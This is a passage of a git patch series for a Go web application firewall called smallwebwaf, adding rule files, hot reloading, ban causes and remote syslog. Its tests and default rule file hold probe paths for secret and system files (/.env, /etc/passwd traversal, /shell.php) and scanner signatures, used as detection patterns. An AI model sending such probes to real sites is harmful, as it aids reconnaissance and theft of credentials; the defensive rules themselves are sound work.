{"/.vscode/sftp.json"}, + "backup-file": { + "/wp-config.php.bak", "/index.php~", "/dump.sql", "/backup.sql.gz", + }, + "log-file": {"/debug.log"}, + "compose-file": {"/docker-compose.yml", "/compose.yaml"}, + "php-shell": {"/shell.php"}, + "path-traversal": { + "/static/../../etc/passwd", "/f?f=%2e%2e%2f%2e%2e%2fetc%2fpasswd", + }, + } { + for _, target := range targets { + wantRefusedBy(t, files, target, browser, rule) + } + } + + // Scanners, by their user agents. + for _, scanner := range []string{ + "sqlmap/1.8.4#stable (https://sqlmap.org)", + "Mozilla/5.0 (compatible; Nuclei - Open-source project)", + } { + wantRefusedBy(t, files, "/", scanner, "scanner-agent") + } + + // Ordinary requests to a code forge for files of those names deeper + // in its paths, and for other files at its root. + for _, target := range []string{ + "/owner/repo/src/branch/main/.env.example", + "/owner/repo/src/branch/main/.env", + "/owner/repo/src/branch/main/.github/workflows/ci.yml", + "/owner/repo/src/branch/main/.vscode/settings.json", + "/owner/repo/src/branch/main/.htaccess", + "/owner/repo/src/branch/main/docker-compose.yml", + "/owner/repo/src/branch/main/db/schema.sql", + "/owner/repo/raw/branch/main/debug.log", + "/owner/repo.git/info/refs?service=git-upload-pack", + "/owner/repo/src/branch/main/docs/../README.md", + "/user/login?redirect_to=%2fowner%2frepo", + "/index.php", + "/.well-known/security.txt", + } { + r := get(t, target) + r.Header.Set(userAgent, browser) + + matched := files.Match(r) + if len(matched) != 0 { + t.Errorf("%s matched %v, want no rule", target, ids(matched)) + } + } + + // A request without a user agent is only noted. + wantMatched(t, files, get(t, "/"), "empty-agent") +} + +// ruleFiles are files to write into a directory of rule files, by name. +type ruleFiles map[string]string + +// writeFiles writes files into a new directory, and returns it. +func writeFiles(t *testing.T, files ruleFiles) string { + t.Helper() + + dir := t.TempDir() + + for name, content := range files { + path := filepath.Join(dir, name) + + err := os.MkdirAll(filepath.Dir(path), 0o700) + if err != nil { + t.Fatalf("mkdir: %v", err) + } + + err = os.WriteFile(path, []byte(content), 0o600) + if err != nil { + t.Fatalf("write %s: %v", name, err) + } + } + + return dir +} + +// save writes content to the rule file name in dir as an editor that +// saves by renaming does, so that the file is never seen half written. +func save(t *testing.T, dir, name, content string) { + t.Helper() + + path := filepath.Join(dir, name) + + err := os.WriteFile(path+".tmp", []byte(content), 0o600) + if err != nil { + t.Fatalf("write %s: %v", name, err) + } + + err = os.Rename(path+".tmp", path) + if err != nil { + t.Fatalf("rename: %v", err) + } +} + +// newParams returns Params for the rule files in dir, switched on, with +// the process log in the processLog returned. +func newParams(dir string) (rules.Params, processLog) { + lines := make(processLog, maxLogLines) + + return rules.Params{ + Dir: dir, + Enabled: true, + ProcessLog: slog.New(slog.NewJSONHandler(lines, nil)), + }, lines +} + +// load writes files into a new directory and loads the rules in it. +func load(t *testing.T, files ruleFiles) *rules.Files { + t.Helper() + + params, _ := newParams(writeFiles(t, files)) + params.ProcessLog = slog.New(slog.DiscardHandler) + + loaded, err := rules.Load(params) + if err != nil { + t.Fatalf("load: %v", err) + } + + return loaded +} + +// watch loads the rules in dir, runs their Watch until the test ends, and +// waits until it watches the directory. +func watch(t *testing.T, dir string) (*rules.Files, processLog) { + t.Helper() + + params, lines := newParams(dir) + + files, err := rules.Load(params) + if err != nil { + t.Fatalf("load: %v", err) + } + + ctx, stop := context.WithCancel(t.Context()) + stopped := make(chan struct{}) + + go func() { + files.Watch(ctx) + close(stopped) + }() + + t.Cleanup(func() { + stop() + <-stopped + }) + + lines.waitFor(t, watching) + + return files, lines +} + +// wantRefused checks that loading the rule files in dir fails with the +// error want. +func wantRefused(t *testing.T, dir, want string) { + t.Helper() + + params, _ := newParams(dir) + + _, err := rules.Load(params) + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +// get returns a GET request for target, a path and an optional query, as +// smallwebwaf's server reads it, without a user agent. +func get(t *testing.T, target string) *http.Request { + t.Helper() + + return httptest.NewRequestWithContext(t.Context(), http.MethodGet, + "http://app.example"+target, nil) +} + +// wantRefusedBy checks that a GET request for target with the user agent +// sent matches rule alone, and that rule refuses it. +func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) { + t.Helper() + + r := get(t, target) + r.Header.Set(userAgent, sent) + + matched := files.Match(r) + if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog { + t.Errorf("%s from %q matched %v, want %s alone, refusing it", target, + sent, ids(matched), rule) + } +} + +// wantMatched checks the ids of the rules r matches, in order. +func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) { + t.Helper() + + got := ids(files.Match(r)) + if !slices.Equal(got, want) { + t.Errorf("%s matched %v, want %v", r.URL, got, want) + } +} + +// ids returns the ids of matched. +func ids(matched []rules.Rule) []string { + got := make([]string, 0, len(matched)) + for _, rule := range matched { + got = append(got, rule.ID) + } + + return got +} + +// processLog receives the lines of a process log, each a JSON object, for +// a test to wait for. +type processLog chan string + +// Write receives a line of the process log. +func (l processLog) Write(line []byte) (int, error) { + l <- string(line) + + return len(line), nil +} + +// waitFor returns the next line of the process log whose message is msg, +// passing over the lines before it. It waits as long as that takes, so +// that a slow test process cannot fail the test. +func (l processLog) waitFor(t *testing.T, msg string) map[string]any { + t.Helper() + + for line := range l { + var fields map[string]any + + err := json.Unmarshal([]byte(line), &fields) + if err != nil { + t.Fatalf("process log line %q is not JSON: %v", line, err) + } + + if fields["msg"] == msg { + return fields + } + } + + return nil +} + +// waitUntil waits for the rule files to be read until done reports true, +// as it does once they have been read after the test's last change. They +// can be read before then too, as they are once Watch starts watching. +func (l processLog) waitUntil(t *testing.T, done func() bool) { + t.Helper() + + for !done() { + l.waitFor(t, read) + } +} diff --git a/internal/rules/watch_internal_test.go b/internal/rules/watch_internal_test.go new file mode 100644 index 0000000..8ef8dde --- /dev/null +++ b/internal/rules/watch_internal_test.go @@ -0,0 +1,162 @@ +package rules + +import ( + "context" + "log/slog" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "slices" + "testing" + "testing/synctest" + "time" + + "github.com/fsnotify/fsnotify" +) + +// The tests below run readAfterChanges in a synctest bubble, where time is +// a clock of the test's own: time.Sleep moves it on at once, and +// synctest.Wait returns once readAfterChanges waits again, so that every +// reading due by then is done. The test sends the changes itself, as the +// watch of a directory cannot run in a bubble. + +func TestFileWrittenInTwoPartsTakenInOnlyWhole(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "50-app.rules") + writeFile(t, path, "first path block ^/first\n") + files := load(t, dir) + changes := run(t, files) + + file, err := os.Create(path) //nolint:gosec // a file the test wrote + if err != nil { + t.Fatalf("create: %v", err) + } + + defer func() { + _ = file.Close() + }() + + // The first part ends in the middle of a ban rule's regex, which, + // read then, would ban every request. + write(t, file, "first path block ^/first\nprobe path ban ^/") + + changes <- fsnotify.Event{Name: path, Op: fsnotify.Write} + + time.Sleep(quietTime - time.Nanosecond) + synctest.Wait() + wantMatched(t, files, "/anything") + + // The second part starts the wait again. + write(t, file, `\.env$`+"\n") + + changes <- fsnotify.Event{Name: path, Op: fsnotify.Write} + + time.Sleep(quietTime - time.Nanosecond) + synctest.Wait() + wantMatched(t, files, "/.env") + + time.Sleep(time.Nanosecond) + synctest.Wait() + wantMatched(t, files, "/.env", "probe") + wantMatched(t, files, "/anything") + }) +} + +func TestEditSavedBeforeTheWatchStartsTakenIn(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "50-app.rules") + writeFile(t, path, "first path block ^/first\n") + files := load(t, dir) + + // Saved after Load read the files, and before the directory was + // watched, so that no change is seen for it. + writeFile(t, path, "first path block ^/edited\n") + run(t, files) + time.Sleep(quietTime) + synctest.Wait() + wantMatched(t, files, "/edited", "first") + }) +} + +// load loads the rules in dir. +func load(t *testing.T, dir string) *Files { + t.Helper() + + files, err := Load(Params{ + Dir: dir, Enabled: true, ProcessLog: slog.New(slog.DiscardHandler), + }) + if err != nil { + t.Fatalf("load: %v", err) + } + + return files +} + +// run runs files' readAfterChanges until the test ends, and returns the +// channel that sends it changes. +func run(t *testing.T, files *Files) chan<- fsnotify.Event { + t.Helper() + + changes := make(chan fsnotify.Event) + ctx, stop := context.WithCancel(t.Context()) + stopped := make(chan struct{}) + + go func() { + files.readAfterChanges(ctx, changes, nil) + close(stopped) + }() + + t.Cleanup(func() { + stop() + <-stopped + }) + + return changes +} + +// writeFile writes content to the file at path. +func writeFile(t *testing.T, path, content string) { + t.Helper() + + err := os.WriteFile(path, []byte(content), 0o600) + if err != nil { + t.Fatalf("write %s: %v", path, err) + } +} + +// write writes text to the end of file. +func write(t *testing.T, file *os.File, text string) { + t.Helper() + + _, err := file.WriteString(text) + if err != nil { + t.Fatalf("write: %v", err) + } +} + +// wantMatched checks the ids of the rules that a GET request for path +// matches, in order. +func wantMatched(t *testing.T, files *Files, path string, want ...string) { + t.Helper() + + r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, + "http://app.example"+path, nil) + + matched := files.Match(r) + + got := make([]string, 0, len(matched)) + for _, rule := range matched { + got = append(got, rule.ID) + } + + if !slices.Equal(got, want) { + t.Errorf("%s matched %v, want %v", path, got, want) + } +} diff --git a/internal/smallwebwaf/healthcheck_test.go b/internal/smallwebwaf/healthcheck_test.go index ae88403..56af193 100644 --- a/internal/smallwebwaf/healthcheck_test.go +++ b/internal/smallwebwaf/healthcheck_test.go @@ -28,6 +28,7 @@ func TestHealthCheck(t *testing.T) { listenAddr: localhost + ":0", upstreamURL: app.URL, stateDir: t.TempDir(), + rulesDir: t.TempDir(), } go func() { diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index 06b446b..32e56ee 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -1,6 +1,6 @@ -// Package smallwebwaf runs the smallwebwaf process: it reads the settings -// and the state files, serves requests until it is told to stop, and then -// stops in an orderly way, writing the state files. +// Package smallwebwaf runs the smallwebwaf process: it reads the settings, +// the rule files and the state files, serves requests until it is told to +// stop, and then stops in an orderly way, writing the state files. package smallwebwaf import ( @@ -19,6 +19,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/requestlog" + "sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/state" ) @@ -56,9 +57,9 @@ func Main(version string) int { }) } -// Run reads the settings and the state files, then serves requests until -// ctx is done. It returns the process's exit status, 1 when smallwebwaf -// cannot start. +// Run reads the settings, the rule files and the state files, then serves +// requests until ctx is done. It returns the process's exit status, 1 +// when smallwebwaf cannot start. func Run(ctx context.Context, params Params) int { processLog := requestlog.NewProcessLogger(params.Stdout) @@ -69,6 +70,17 @@ func Run(ctx context.Context, params Params) int { return 1 } + ruleFiles, err := rules.Load(rules.Params{ + Dir: cfg.RulesDir, + Enabled: cfg.RulesEnabled, + ProcessLog: processLog, + }) + if err != nil { + processLog.Error("cannot use the rule files", "error", err.Error()) + + return 1 + } + // The state files give times in UTC. now := func() time.Time { return time.Now().UTC() } @@ -78,6 +90,7 @@ func Run(ctx context.Context, params Params) int { ProcessLog: processLog, GeoJSURL: lookup.URL, Now: now, + Rules: ruleFiles, }) files, err := state.Load(state.Params{ @@ -110,16 +123,16 @@ func Run(ctx context.Context, params Params) int { "address", listener.Addr().String(), "settings", cfg) - return serve(ctx, server.Server, listener, files, processLog) + return serve(ctx, server.Server, listener, files, ruleFiles, processLog) } // serve serves requests on listener, writes the state files as they are -// due, and takes in an admin's edits of them, until ctx is done. Then it -// gives the requests in progress shutdownTimeout to finish, and writes -// every state file. +// due, takes in an admin's edits of them, and reads the rule files again +// as they change, until ctx is done. Then it gives the requests in +// progress shutdownTimeout to finish, and writes every state file. func serve( ctx context.Context, server *http.Server, listener net.Listener, - files *state.Files, processLog *slog.Logger, + files *state.Files, ruleFiles *rules.Files, processLog *slog.Logger, ) int { served := make(chan error, 1) @@ -132,6 +145,7 @@ func serve( written := make(chan struct{}) watched := make(chan struct{}) + rulesWatched := make(chan struct{}) go func() { files.Run(writing) @@ -143,6 +157,11 @@ func serve( close(watched) }() + go func() { + ruleFiles.Watch(writing) + close(rulesWatched) + }() + select { case err := <-served: processLog.Error("serving failed", "error", err.Error()) @@ -181,6 +200,7 @@ func serve( // missing from clients.json. <-written <-watched + <-rulesWatched err = files.WriteAll() if err != nil { diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index d70f809..fa5be79 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -34,6 +34,7 @@ const ( stateWriteDelay = "SWWAF_STATE_WRITE_DELAY" stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" + rulesDir = "SWWAF_RULES_DIR" // greeting is what the tests' app answers. greeting = "hello from the app" ) @@ -163,6 +164,7 @@ func TestAddressInUseStopsTheStart(t *testing.T) { status := run(t.Context(), map[string]string{ listenAddr: taken.Addr().String(), stateDir: t.TempDir(), + rulesDir: t.TempDir(), }, out) if status != 1 { t.Errorf("exit status %d, want 1", status) @@ -186,9 +188,15 @@ func TestServesUntilToldToStop(t *testing.T) { listenAddr: localhost + ":0", upstreamURL: appURL, stateDir: dir, + rulesDir: filepath.Join("..", "..", "share", "rules.d"), }, out) }() + // The default rule file is read. + if rules := out.line(t, "msg", "read the rule files")["rules"]; rules != 12.0 { + t.Errorf("read %v rules from the default rule file, want 12", rules) + } + starting := out.line(t, "msg", "starting") wantStartingLine(t, starting, appURL, dir) @@ -217,6 +225,7 @@ func TestStateKeptAcrossRestarts(t *testing.T) { listenAddr: localhost + ":0", upstreamURL: startApp(t), stateDir: t.TempDir(), + rulesDir: t.TempDir(), rateLimitPerDay: "2", // Neither comes due in the test: the files are written as // smallwebwaf stops. @@ -253,6 +262,7 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) { listenAddr: localhost + ":0", upstreamURL: startApp(t), stateDir: t.TempDir(), + rulesDir: t.TempDir(), trustedProxies: localhost + "/32", rateLimitPerDay: "1", scope: "24", @@ -300,6 +310,7 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) { listenAddr: localhost + ":0", upstreamURL: startApp(t), stateDir: dir, + rulesDir: t.TempDir(), trustedProxies: localhost + "/32", // No write comes due in the test, so only the watch on the // directory can take the edits in. @@ -316,6 +327,64 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) { }) } +func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: t.TempDir(), + rulesDir: dir, + // The requests sent until the rule takes effect must not break a + // rate limit, whose ban would refuse them too. + "SWWAF_RATE_LIMIT_PER_MINUTE": "off", + } + + out := runUntilStopped(t, env, func(url string) { + wantGreeting(t, url) + + // Written once: each change would start the rule files' wait + // again. A file written before smallwebwaf watches the directory is + // read once it does. + err := os.WriteFile(filepath.Join(dir, "50-app.rules"), + []byte("everything path block ^/\n"), 0o600) + if err != nil { + t.Fatalf("write the rule file: %v", err) + } + + // As long as that takes, so that a slow test process cannot fail + // the test. + for statusFrom(t, url, "203.0.113.9") != http.StatusForbidden { + time.Sleep(pollInterval) + } + }) + out.line(t, "action", "rule_blocked") +} + +func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + path := filepath.Join(dir, "00-default.rules") + + err := os.WriteFile(path, []byte("# probes\nenv-file path bann ^/\\.env$\n"), 0o600) + if err != nil { + t.Fatalf("write the rule file: %v", err) + } + + wantRulesRefused(t, dir, path+`, line 2: the action "bann" is not log, block or ban`) +} + +func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) { + t.Parallel() + + dir := filepath.Join(t.TempDir(), "rules.d") + + wantRulesRefused(t, dir, "SWWAF_RULES_DIR cannot be read: open "+dir+ + ": no such file or directory") +} + func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) { t.Parallel() @@ -349,7 +418,9 @@ func wantStartRefused(t *testing.T, dir, want string) { out := &output{} - status := run(ctx, map[string]string{listenAddr: localhost + ":0", stateDir: dir}, out) + status := run(ctx, map[string]string{ + listenAddr: localhost + ":0", stateDir: dir, rulesDir: t.TempDir(), + }, out) if status != 1 { t.Fatalf("exit status %d, want 1", status) } @@ -362,6 +433,30 @@ func wantStartRefused(t *testing.T, dir, want string) { } } +// wantRulesRefused runs smallwebwaf with its rule files in dir, and +// checks that it stops at start, with the error want. If it starts +// instead, it is stopped after waitLimit. +func wantRulesRefused(t *testing.T, dir, want string) { + t.Helper() + + ctx, stop := context.WithTimeout(t.Context(), waitLimit) + defer stop() + + out := &output{} + + status := run(ctx, map[string]string{ + listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: dir, + }, out) + if status != 1 { + t.Fatalf("exit status %d, want 1", status) + } + + line := out.line(t, "msg", "cannot use the rule files") + if line["error"] != want || line["level"] != "ERROR" { + t.Errorf("start refused with %v, want the error %q", line, want) + } +} + // startApp starts an app that answers every request with greeting, and // returns its URL. func startApp(t *testing.T) string { @@ -443,8 +538,10 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL, dir string) { "SWWAF_LIMIT_BAN_DURATION": "1h", "SWWAF_LIMIT_BAN_REPEAT_WINDOW": "24h", "SWWAF_MAX_BAN_DURATION": "7d", + "SWWAF_ATTACK_BAN_DURATION": "7d", "SWWAF_MAX_BANS": "5000", "SWWAF_BAN_SCOPE_V4_PREFIX": "32", + "SWWAF_RULES_ENABLED": "true", } for name, value := range want { diff --git a/internal/state/state.go b/internal/state/state.go index 35551cb..930b09a 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -48,6 +48,7 @@ var ( errVersion = errors.New("unknown version") // errMissing is for an entry without a field it needs. errMissing = errors.New("has no") + errCause = errors.New("is not limit or attack") ) // Params are what Load needs. @@ -95,11 +96,12 @@ type bansFile struct { } // banEntry is a ban as bans.json holds it: a permanent ban's expires is -// null. +// null, and a ban an admin added may have no cause. type banEntry struct { Netblock netip.Prefix `json:"netblock"` Start time.Time `json:"start"` Expires *time.Time `json:"expires"` + Cause string `json:"cause,omitempty"` Notes bans.Notes `json:"notes"` } @@ -444,7 +446,9 @@ func (f *Files) encode(name string) ([]byte, error) { // newBanEntry returns ban as bans.json holds it. func newBanEntry(ban bans.Ban) banEntry { - entry := banEntry{Netblock: ban.Netblock, Start: ban.Start, Notes: ban.Notes} + entry := banEntry{ + Netblock: ban.Netblock, Start: ban.Start, Cause: ban.Cause, Notes: ban.Notes, + } if !ban.Permanent() { entry.Expires = &ban.Expires } @@ -454,7 +458,7 @@ func newBanEntry(ban bans.Ban) banEntry { // ban returns the ban an entry of bans.json holds. func (e banEntry) ban() bans.Ban { - ban := bans.Ban{Netblock: e.Netblock, Start: e.Start, Notes: e.Notes} + ban := bans.Ban{Netblock: e.Netblock, Start: e.Start, Cause: e.Cause, Notes: e.Notes} if e.Expires != nil { ban.Expires = *e.Expires } @@ -466,7 +470,8 @@ func (e banEntry) ban() bans.Ban { // client, a start, from which the length of the netblock's next ban is // worked out, or an expires, which would make it permanent. A permanent // ban's expires is null, which Bans cannot tell from a missing one, so -// each expires is read again as written. +// each expires is read again as written. A cause other than limit or +// attack, most likely misspelt, is refused too. func (f *bansFile) check(data []byte) error { var written struct { Bans []struct { @@ -487,6 +492,9 @@ func (f *bansFile) check(data []byte) error { return missing(i, "start") case written.Bans[i].Expires == nil: return missing(i, "expires") + case entry.Cause != "" && entry.Cause != bans.CauseLimit && + entry.Cause != bans.CauseAttack: + return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause) } } diff --git a/internal/state/state_test.go b/internal/state/state_test.go index b508b96..f29c65e 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -63,7 +63,11 @@ const permanentBansJSON = `{ }, "requests": 1500, "refused": 3, - "earlier_bans": 5 + "earlier_bans": { + "limit": 3, + "attack": 1, + "without_cause": 1 + } } } ] @@ -263,6 +267,17 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { } } +func TestBanWithACauseSmallwebwafDoesNotGiveStopsTheStart(t *testing.T) { + t.Parallel() + + wantRefused(t, bansJSON, `{"version": 1, "bans": [`+ + `{"netblock": "203.0.113.9/32", "start": "2026-10-06T00:00:00Z", `+ + `"expires": null, "cause": "attack"}, `+ + `{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+ + `"expires": null, "cause": "atack"}]}`, + `: entry 2's cause "atack" is not limit or attack`) +} + func TestUnknownVersionStopsTheStart(t *testing.T) { t.Parallel() @@ -881,6 +896,7 @@ func newParams(dir string) state.Params { LimitBanDuration: time.Hour, LimitBanRepeatWindow: 24 * time.Hour, MaxBanDuration: 7 * 24 * time.Hour, + AttackBanDuration: 7 * 24 * time.Hour, MaxBans: 5000, }), Limiter: ratelimit.New(ratelimit.Limits{}), @@ -893,14 +909,17 @@ func newParams(dir string) state.Params { } } -// fill puts a ban that ends and one that does not, clients with counts -// and histories, and GeoJS answers into the parts of params. +// fill puts a permanent ban without a cause, as an admin adds one, a ban +// for a broken limit and one for a clear sign of attack, clients with +// counts and histories, and GeoJS answers into the parts of params. func fill(params state.Params) { now := midnight() client := netip.MustParsePrefix("203.0.113.9/32") params.Ledger.Load([]bans.Ban{permanentBan()}) params.Ledger.BanForLimit(client, now, bans.Notes{Country: "DE", Limit: 1}) + params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now, + bans.Notes{RuleID: "env-file", Target: "path"}) for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} { params.Limiter.Count(netip.MustParsePrefix(c), now) @@ -939,7 +958,7 @@ func permanentBan() bans.Ban { }, Requests: 1500, Refused: 3, - EarlierBans: 5, + EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, WithoutCause: 1}, }, } } diff --git a/script/example-app b/script/example-app index b07236b..f2249a8 100755 --- a/script/example-app +++ b/script/example-app @@ -3,9 +3,10 @@ # deploy/example-app, then run the app's container with a volume for the # state files and check that the health check passes, that a request is # served through smallwebwaf, that a second one in a minute bans the -# client, that `sv stop` stops smallwebwaf in order, that `docker stop` -# stops the container without having to kill it, and that a new -# container on the same volume still refuses the banned client. The +# client, that a probe for /.env bans another client, which its next +# request bans for good, that `sv stop` stops smallwebwaf in order, that +# `docker stop` stops the container without having to kill it, and that +# a new container on the same volume still refuses the banned client. The # containers, the volume and both images are removed however the script # ends. Building the app needs network access, for nixpkgs' binary cache. # script/check does not run this. @@ -52,9 +53,13 @@ healthy() { [ "$status" = healthy ] } -# logged : the container's output holds text. +# logged ...: a line of the container's output holds every text, +# in any order. logged() { - docker logs "$CONTAINER" 2>&1 | grep -qF "$1" + lines="$(docker logs "$CONTAINER" 2>&1)" + for text in "$@"; do + lines="$(printf '%s\n' "$lines" | grep -F "$text")" || return 1 + done } # start_container: run the app's container, with the state files on the @@ -77,6 +82,15 @@ refused() { [ "$code" = 403 ] } +# refused_from : a request for path from client, as +# X-Forwarded-For names it, gets 403. smallwebwaf believes the header +# from docker's gateway, a private address. +refused_from() { + code="$(curl --silent --output /dev/null --write-out '%{http_code}' \ + --max-time 10 --header "X-Forwarded-For: $1" "http://$address$2")" || true + [ "$code" = 403 ] +} + main() { cd "$ROOT" trap cleanup EXIT @@ -100,6 +114,14 @@ main() { wait_for "smallwebwaf logged no ban" logged '"action":"rate_limited"' echo "example-app: a second request in a minute bans the client" + refused_from 203.0.113.9 /.env || fail "a probe for /.env was not refused" + wait_for "smallwebwaf logged no ban for the probe" \ + logged '"action":"banned"' '"rule_ids":["env-file"]' + refused_from 203.0.113.9 / || fail "the client of the probe was let through" + wait_for "the client's next request did not make its ban permanent" \ + logged '"ban_expires":"permanent"' + echo "example-app: a probe for /.env bans the client, its next request for good" + docker exec "$CONTAINER" sv stop smallwebwaf >/dev/null || fail "sv stop smallwebwaf failed" wait_for "smallwebwaf did not stop in order" logged '"msg":"stopped"' diff --git a/script/run b/script/run index b0cd063..43b5793 100755 --- a/script/run +++ b/script/run @@ -1,7 +1,9 @@ #!/bin/sh # script/run: build bin/smallwebwaf with script/build and run it, with # the settings in the environment. Unless SWWAF_STATE_DIR is set, the -# state files go in bin/state, beside the binary. +# state files go in bin/state, beside the binary, and unless +# SWWAF_RULES_DIR is set, the rule files are those of share/rules.d, +# which the image ships. set -eu SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" @@ -14,6 +16,10 @@ main() { export SWWAF_STATE_DIR mkdir -p "$SWWAF_STATE_DIR" fi + if [ -z "${SWWAF_RULES_DIR+set}" ]; then + SWWAF_RULES_DIR="$ROOT/share/rules.d" + export SWWAF_RULES_DIR + fi exec "$ROOT/bin/smallwebwaf" } diff --git a/share/rules.d/00-default.rules b/share/rules.d/00-default.rules new file mode 100644 index 0000000..4ff626e --- /dev/null +++ b/share/rules.d/00-default.rules @@ -0,0 +1,15 @@ +# 00-default.rules: probes no real visitor sends, anchored at the site root + +# id target action regex +env-file path ban (?i)^/\.env(\.[a-z]+)?$ +vcs-dir path ban (?i)^/\.(git|svn|hg|bzr)(/|$) +secrets-dir path ban (?i)^/\.(aws|ssh|docker|kube)/ +secret-file path ban (?i)^/\.(htpasswd|htaccess|npmrc|netrc|pgpass|git-credentials|bash_history|DS_Store)$ +editor-dir path ban (?i)^/\.(vscode|idea)/ +backup-file path ban (?i)^/[^/]+\.(php(\.[a-z0-9]+|~)|sql(\.[a-z0-9]+)?)$ +log-file path ban (?i)^/(debug|error|access)\.log$ +compose-file path ban (?i)^/(docker-)?compose\.ya?ml$ +php-shell path ban (?i)^/(shell|c99|r57|wso|alfa)\.php$ +scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|masscan|zgrab|wpscan)\b +path-traversal uri block (\.\./){2,} +empty-agent user_agent log ^$ From 0797e5def24fc8e89020f48a8aa4687f52503561 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 22:02:36 +0200 Subject: [PATCH 27/64] Send every log line to a syslog server as well (closes #28) With SWWAF_LOG_REMOTE_URL set (syslog+udp, syslog+tcp or syslog+tls), every line on stdout is also sent as the message of an RFC 5424 record, octet-counted over TCP and TLS, from a bounded buffer that drops its oldest line when full, so a slow or unreachable server holds up nothing. Failed connections are retried with backoff; lines sent, dropped and waiting are metrics. At a stop the lines still waiting get at most two seconds. SWWAF_LOG_REMOTE_APP_NAME defaults to SWWAF_INSTANCE_NAME; while sending, an app name RFC 5424 does not allow stops the start. Standard library only: log/syslog writes only the older format. Model: opus-5-5 --- README.md | 92 ++- internal/config/config.go | 171 ++++- internal/config/config_test.go | 204 ++++++ internal/metrics/metrics.go | 28 + internal/remotelog/remotelog.go | 310 +++++++++ internal/remotelog/remotelog_test.go | 640 ++++++++++++++++++ internal/smallwebwaf/smallwebwaf.go | 63 +- .../smallwebwaf/smallwebwaf_internal_test.go | 82 +++ internal/smallwebwaf/smallwebwaf_test.go | 171 +++++ 9 files changed, 1737 insertions(+), 24 deletions(-) create mode 100644 internal/remotelog/remotelog.go create mode 100644 internal/remotelog/remotelog_test.go create mode 100644 internal/smallwebwaf/smallwebwaf_internal_test.go diff --git a/README.md b/README.md index 1cd512d..10d0206 100644 --- a/README.md +++ b/README.md @@ -19,22 +19,23 @@ JSON state files with your edits taken in while it runs and the paths the rate limits do not count, which come next in the build order, `observe` mode and the rest of the request log's fields, which come a little later, and the metrics endpoint and the header size and the idle time as settings, which come last in -it. So are the rule files, the first part of the stage after it, with the bans -for a clear sign of attack. `smallwebwaf` passes each request to the app and the -app's answer back, unchanged, within its timeouts and size limits, works out -each client's address, bans a client that sends too many requests, not counting -those for the paths you choose, refuses a client that comes from a country you -refuse or from a network you refuse, lets the networks you choose through, -checks each request against the rule files and bans a client whose request is a -clear sign of attack, keeps its bans, each client's counters and history, and -GeoJS's answers in JSON files across restarts, takes in your edits of those -files and of the rule files while it runs, writes a JSON log line for every -request, serves Prometheus metrics to a scraper that holds the metrics token, -and in `observe` mode passes on the requests it would refuse, logging what it -would have done with them. It comes as the image the app's own image is built -on. The rest of the design comes after that, in the order of the build order in -[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in -[`EVALUATION.md`](EVALUATION.md). +it. So are two parts of the stage after it: the rule files, the first part, with +the bans for a clear sign of attack, and remote log sending. `smallwebwaf` +passes each request to the app and the app's answer back, unchanged, within its +timeouts and size limits, works out each client's address, bans a client that +sends too many requests, not counting those for the paths you choose, refuses a +client that comes from a country you refuse or from a network you refuse, lets +the networks you choose through, checks each request against the rule files and +bans a client whose request is a clear sign of attack, keeps its bans, each +client's counters and history, and GeoJS's answers in JSON files across +restarts, takes in your edits of those files and of the rule files while it +runs, writes a JSON log line for every request, sends its log lines to a syslog +server too if you name one, serves Prometheus metrics to a scraper that holds +the metrics token, and in `observe` mode passes on the requests it would refuse, +logging what it would have done with them. It comes as the image the app's own +image is built on. The rest of the design comes after that, in the order of the +build order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to +the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -171,6 +172,9 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of passed to the app: a banned client stays refused, and each counts toward the client's rate limits. None of them reaches the app. - Writes a line in the request log for each request (see 